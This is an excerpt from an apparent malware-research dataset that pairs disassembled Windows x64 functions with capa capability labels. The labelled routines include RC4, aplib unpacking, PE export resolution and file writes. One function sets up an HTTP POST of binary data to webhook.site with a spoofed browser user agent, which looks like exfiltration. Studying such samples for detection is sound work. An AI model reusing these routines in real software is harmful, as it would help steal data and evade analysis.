joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005f4e0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.14005f490
mov rax, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14005f880
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x14005f8a3
mov rcx, qword [rsp + 0x40]
call fcn.1400601a0
jmp 0x14005f8ba
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x14005f8ba
mov rcx, qword [rsp + 0x40]
call fcn.14005ffa0
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x30
pop rdi
ret
Function at 0x14005ffa0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp], 0x26f
mov qword [rsp + 8], 0xe3
mov qword [rsp + 0x10], 0
jmp 0x14005ffd3
mov rax, qword [rsp + 0x10]
inc rax
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x10], 0xe3
jae 0x14006005a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x10]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x140060024
mov dword [rsp + 0x3c], 0x9908b0df
jmp 0x14006002c
mov dword [rsp + 0x3c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14005ffc6
mov qword [rsp + 0x20], 0xe3
jmp 0x140060072
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0x26f
jae 0x1400600f9
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x20]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
and eax, 1
test eax, eax
je 0x1400600c3
mov dword [rsp + 0x40], 0x9908b0df
jmp 0x1400600cb
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x28]
shr eax, 1
xor eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140060065
mov qword [rsp + 0x30], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x60]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
and eax, 1
test eax, eax
je 0x14006014d
mov dword [rsp + 0x44], 0x9908b0df
jmp 0x140060155
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x38]
shr eax, 1
xor eax, dword [rsp + 0x44]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x60]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x60]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x60]
mov dword [rax], 0
add rsp, 0x50
pop rdi
ret
Function at 0x1400601a0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x10
mov qword [rsp], 0x270
jmp 0x1400601bf
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x4e0
jae 0x140060241
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
and eax, 1
test eax, eax
je 0x14006020d
mov dword [rsp + 0xc], 0x9908b0df
jmp 0x140060215
mov dword [rsp + 0xc], 0
mov eax, dword [rsp + 8]
shr eax, 1
xor eax, dword [rsp + 0xc]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x1400601b4
add rsp, 0x10
pop rdi
ret

Function at 0x140060c00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov qword [rsp + 0x20], 0
cmp qword [rsp + 0x80], 0
jne 0x140060c2a
xor eax, eax
jmp 0x140060d57
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], 0
jmp 0x140060cab
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x50], eax
jae 0x140060d52
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x88]
call fcn.14005e6e0
movzx eax, al
test eax, eax
je 0x140060d4d
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x50]
movzx eax, word [rax + rcx*2]
mov word [rsp + 0x60], ax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx ecx, word [rsp + 0x60]
mov eax, dword [rax + rcx*4]
mov dword [rsp + 0x64], eax
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x64]
call fcn.1400617c0
mov qword [rsp + 0x20], rax
jmp 0x140060d52
jmp 0x140060ca1
mov rax, qword [rsp + 0x20]
add rsp, 0x70
pop rdi
ret

Function at 0x140062d50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x28], 0
jmp 0x140062d88
Function at 0x140081920
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140081400
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14008195f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140117370]
jmp 0x140081969
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x1400de300
Capabilities:
Get geographical location

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1400dd5b0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400de367
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x140117378]
jmp 0x1400de389
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400de890
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret
Function at 0x1400e7010
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1400e9320
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140064ee0
sub rsp, rax
mov rax, qword [0x14014a1c0]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14014c910]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400e9512
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1400e9466
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400e9466
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1400e944b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1400e93e8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400e94d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400e9531
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1400e950d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400e9531
jmp 0x1400e93be
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400642c0
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1400e9550
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140064ee0
sub rsp, rax
mov rax, qword [0x14014a1c0]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14014c910]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400e975d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1400e96a9
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400e96a9
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1400e9689
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1400e9618
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400e971d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400e977c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x1400e9758
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400e977c
jmp 0x1400e95ee
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400642c0
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1400f1400
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400f1290
lea rcx, [rsp + 0x40]
call fcn.1400f13c0
movzx eax, al
test eax, eax
jne 0x1400f1448
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.1400f12b0
mov rax, qword [rsp + 0x70]
jmp 0x1400f1619
lea rcx, [rsp + 0x40]
call fcn.1400f13a0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400f1350
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1400f13a0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400f1160
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400f14ee
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.1400f12b0
mov rax, qword [rsp + 0x80]
jmp 0x1400f1619
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400cbbe0
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140069d60
lea rcx, [rsp + 0x48]
call fcn.140069de0
movzx eax, al
test eax, eax
jne 0x1400f1555
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.140069da0
lea rcx, [rsp + 0x40]
call fcn.1400f12b0
mov rax, qword [rsp + 0x88]
jmp 0x1400f1619
lea rcx, [rsp + 0x48]
call fcn.140069ed0
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1400f13a0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400f1160
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1400f15eb
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.140069da0
lea rcx, [rsp + 0x40]
call fcn.1400f12b0
mov rax, qword [rsp + 0xa0]
jmp 0x1400f1619
lea rcx, [rsp + 0x48]
call fcn.1400cec70
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.140069da0
lea rcx, [rsp + 0x40]
call fcn.1400f12b0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret
Function at 0x14010a1b0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.1400ee3d0
lea rcx, [rsp + 0x48]
call fcn.1400ee3d0
call fcn.1400e6900
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.1400ecc50
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14010a21f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400ee500
lea rcx, [rsp + 0x78]
call fcn.1400ee500
mov eax, dword [rsp + 0x24]
jmp 0x14010a2b0
call fcn.1400e6900
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.1400ecc50
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x14010a266
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400ee500
lea rcx, [rsp + 0x78]
call fcn.1400ee500
mov eax, dword [rsp + 0x2c]
jmp 0x14010a2b0
lea rcx, [rsp + 0x48]
call fcn.1400eebc0
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400eebc0
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400ee500
lea rcx, [rsp + 0x78]
call fcn.1400ee500
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1406b8058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406b81df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406b8089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406b806f
add dl, dl
jne 0x1406b8096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406b80f6
xor eax, eax
add dl, dl
jne 0x1406b80a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406b81ad
add dl, dl
jne 0x1406b80b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406b80c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406b80d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406b80dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406b80ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406b807e
mov eax, 1
add dl, dl
jne 0x1406b8106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406b8113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406b80fb
sub eax, ebx
mov ebx, 1
jne 0x1406b814c
mov ecx, 1
add dl, dl
jne 0x1406b812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406b813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406b8123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406b807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406b8168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406b8175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406b815d
cmp eax, 0x7d00
jae 0x1406b819b
cmp eax, 0x500
jb 0x1406b8196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406b807e
cmp eax, 0x7f
ja 0x1406b819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406b807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406b81d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406b807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001044
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x420
mov ecx, 0x18
call fcn.14000134c
mov rbx, rax
test rax, rax
jne 0x14000106b
lea eax, [rbx + 1]
jmp 0x140001137
mov ecx, 0x40
mov dword [rax + 4], 1
mov dword [rax + 0xc], 5
mov dword [rax + 8], 3
mov dword [rax], 0x18
call fcn.14000134c
mov rdi, rax
test rax, rax
je 0x140001135
mov ecx, dword [rbx]
call fcn.14000134c
mov qword [rdi + 0x10], rax
test rax, rax
je 0x140001135
mov r8d, dword [rbx]
xor edx, edx
mov rcx, rax
call fcn.140001020
mov rcx, qword [rdi + 0x10]
mov r8d, 0x18
mov rdx, rbx
call section..text
lea rax, str.webhook.site
mov dword [rdi + 8], 0x50
mov qword [rdi], rax
lea rcx, [rsp + 0x20]
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:126.0__Gecko_20100101_Firefox_126.0
xor edx, edx
mov qword [rdi + 0x20], rax
lea rax, str.POST
mov qword [rdi + 0x28], rax
lea rax, str._3a1e7248_4f0b_4909_9b33_108b6dbf9836
mov qword [rdi + 0x30], rax
lea rax, str.Content_Type:_application_octet_stream_r_nConnection:_Close_r_n
mov qword [rdi + 0x38], rax
mov eax, dword [rbx]
mov ebx, 0x400
mov r8d, ebx
mov dword [rdi + 0x18], eax
call fcn.140001020
mov r8d, ebx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140001148
xor eax, eax
mov rbx, qword [rsp + 0x430]
add rsp, 0x420
pop rdi
ret
Function at 0x140001c64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x38
and dword [r9], 0
mov r10b, dl
test rcx, rcx
jne 0x140001c78
xor eax, eax
jmp 0x140001cef
movsxd rdx, dword [rcx + 0x3c]
mov r11d, 0x5a4d
lea rax, [rcx + rdx]
cmp word [rcx], r11w
jne 0x140001caa
test edx, edx
jle 0x140001caa
cmp edx, 0x10000000
jae 0x140001caa
cmp dword [rax], 0x4550
jne 0x140001caa
lea rdx, [rax + 4]
add rax, 0x18
jmp 0x140001cb1
mov rdx, rcx
lea rax, [rcx + 0x14]
mov r11d, 0x10b
cmp word [rax], r11w
je 0x140001cdd
mov r11d, 0x20b
cmp word [rax], r11w
jne 0x140001c74
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov dl, r10b
call fcn.140001c08
jmp 0x140001cef
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov dl, r10b
call fcn.140001bac
add rsp, 0x38
ret

Function at 0x140001d9c
Capabilities:
Enumerate pe sections

Disassembly:
xor edx, edx
mov r11d, r8d
test rcx, rcx
je 0x140001de1
movzx r9d, word [rcx + 6]
test r9d, r9d
je 0x140001de1
movzx r10d, word [rcx + 0x14]
add r10, 0x18
add r10, rcx
test r9d, r9d
je 0x140001de1
lea r8, [r10 + 0x10]
mov ecx, dword [r8 - 4]
cmp r11d, ecx
jb 0x140001dd6
add ecx, dword [r8]
cmp r11d, ecx
jb 0x140001de4
inc edx
add r8, 0x28
cmp edx, r9d
jb 0x140001dc5
xor eax, eax
ret
